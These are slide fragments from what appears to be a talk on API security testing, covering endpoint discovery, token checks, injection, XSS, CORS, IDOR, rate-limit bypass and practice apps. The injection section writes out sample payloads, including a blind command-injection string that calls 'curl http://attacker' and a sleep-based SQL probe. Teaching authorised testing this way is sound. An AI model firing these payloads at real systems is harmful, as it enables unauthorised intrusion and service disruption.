API documentation (swagger etc.). If not provided, please ask, or discover using OSINT (api.example.com or /api/docs etc.) • For apps that consume the APIs, use the User Driven Testing Approach to enumerate the APIs based on HTTP requests and responses • Brute force endpoints using a custom dictionary or a large wordlist in conjunction with the documentation and User Driven Testing Approach. This technique attempts to find undocumented APIs • Look through the JS code to find APIs that did not get called due to edge cases • Look through HTML comments as well
of cookies. • Look at how long it takes for the tokens to expire • can the token be reused from a different IP • can the token be created without the server • does the token contain any sensitive information (JWT) etc. • What happens when a token is passed using a different header • Is the token stored in localStorage and is it cleared by the app when user logs out • Is the key hardcoded in the app?
etc. GET in some cases) should be inspected for injection attacks. • Any request having parameters must be tested with strings that are known to break command context on the server. • Like `'` or `" #` for example for SQL injection and `;` or `&` for command injection. • In some cases, because API devs normally build a middleware for API requests, you may need to rely on blind queries (`'; SELECT sleep(100) #` or `& curl http://attacker #`) • For json contexts (mongo for example), use curly braces, inject in the name (not the value) based on Content-Type of the request
comes back from the server and is treated as a part of DOM can reliably become an XSS issue • User supplied input that comes back inside JSON responses may be escaped since JSON is being treated as a transport container, but DOM transformations can still cause the data to get tainted • A tool like `Sboxr` can be used to identify sources and sinks for your data and tell you where exactly is the data being consumed
so happen that the API endpoints have a malformed content type, in which browsers may use content sniffing to determine whether to display or render the content. • Content-Type: text/html instead of text/json • `callback` URLs often fall prey to this since these reflect data sent to the server via GET parameters • Browsers will render any HTML characters returned in the response based on the Content-Type
to see how the API responds to malformed input • These tests may create DoS conditions especially if the data is being stored and presented to other users • An example would be for SOAP APIs, passing an XML file containing recursive entity expansion may result in memory exhaustion on the server (xml bomb) • Obviously don’t use the example from OWASP, but write a smaller version of that so that the expansion causes a delay in response and not someone losing their job or hangover on a Saturday morning
with a middleware in between • This could be a RBAC controller or a data parser • Test to see if changing the requested content type causes the application to behave differently • `application/json` to `text/html` • `application/xhtml+xml` • `application/x-www-form-urlencoded` • Passing additional headers like X-HTTP-Method-Override header to change the actual processing of the web method may provide bypasses as well
the basis for a lot of Authorisation related attacks • Changing a reference to an object mid request is a definite test for APIs as authorisation layer may not anticipate all endpoints and parameters • Based on the code, for APIs that use routes, change the route information in the URL to a parameterised request • For example - `example.com/api/getfile/user/bob/file/4` to `example.com/api/getfile?user=bob&file=4` • This can be now attacked and tested for IDOR as it will very likely bypass the middleware for authorisation
Cross Origin requests, verify that the requests are bound to known origins • Cross Origin attacks can be used to steal information and perform CSRF attacks that involve non idempotent requests like PUT or DELETE operations • A CSRF can be used to read any tokens that the server may send when attempting to identify the state of the session using cookies • These requests raise pre-flight OPTIONS requests when a custom header is inserted (`X-TOKEN`) or when a non-idempotent request is made • Some API endpoints may reflect the origin as is, for example - `Origin: attacker.com` will be reflected in the `Access-Control-Allow-Origin: attacker.com` which does not solve anything
intent to provide access to a different user's session • If this is documented as a feature, understand how this is implemented • It could be as trivial as passing a `X-Authenticate-As: email@example.com` header • The server verifies only this header to provide access when the API was supposed to first check if you are allowed to send this header or not (Authorisation failure)
HTTP responses to see if they adhere to the HTTP spec or not • For example, a `401 Unauthorised` or `302 Redirect` response may actually contain data in the response body • For a 302, the browser will redirect based on the Location response header but the 302 may contain data like additional APIs or client templates
The results for this may vary from production and staging, so make sure you check this with the dev and/or network teams • Brute force attacks for API requests like password change or login etc. can fall prey to this • Be careful not to lockout any legit users, especially on production • Context based testing!!!!
and interpreted on the server when rate limiting is applied is also a cause for concern • For example, the WordPress xmlrpc can be abused to send a single request with over 500 password variations to check if any of them work for the login API • Rate limiting per request will not work in such a case
some apps that are deliberately vulnerable and have an API backend to practice some of the attack vectors covered in this presentation • https://github.com/appsecco/dvcsharp-api • https://github.com/snoopysecurity/dvws • https://github.com/payatu/Tiredful-API/blob/master/README.md • https://github.com/rapid7/hackazon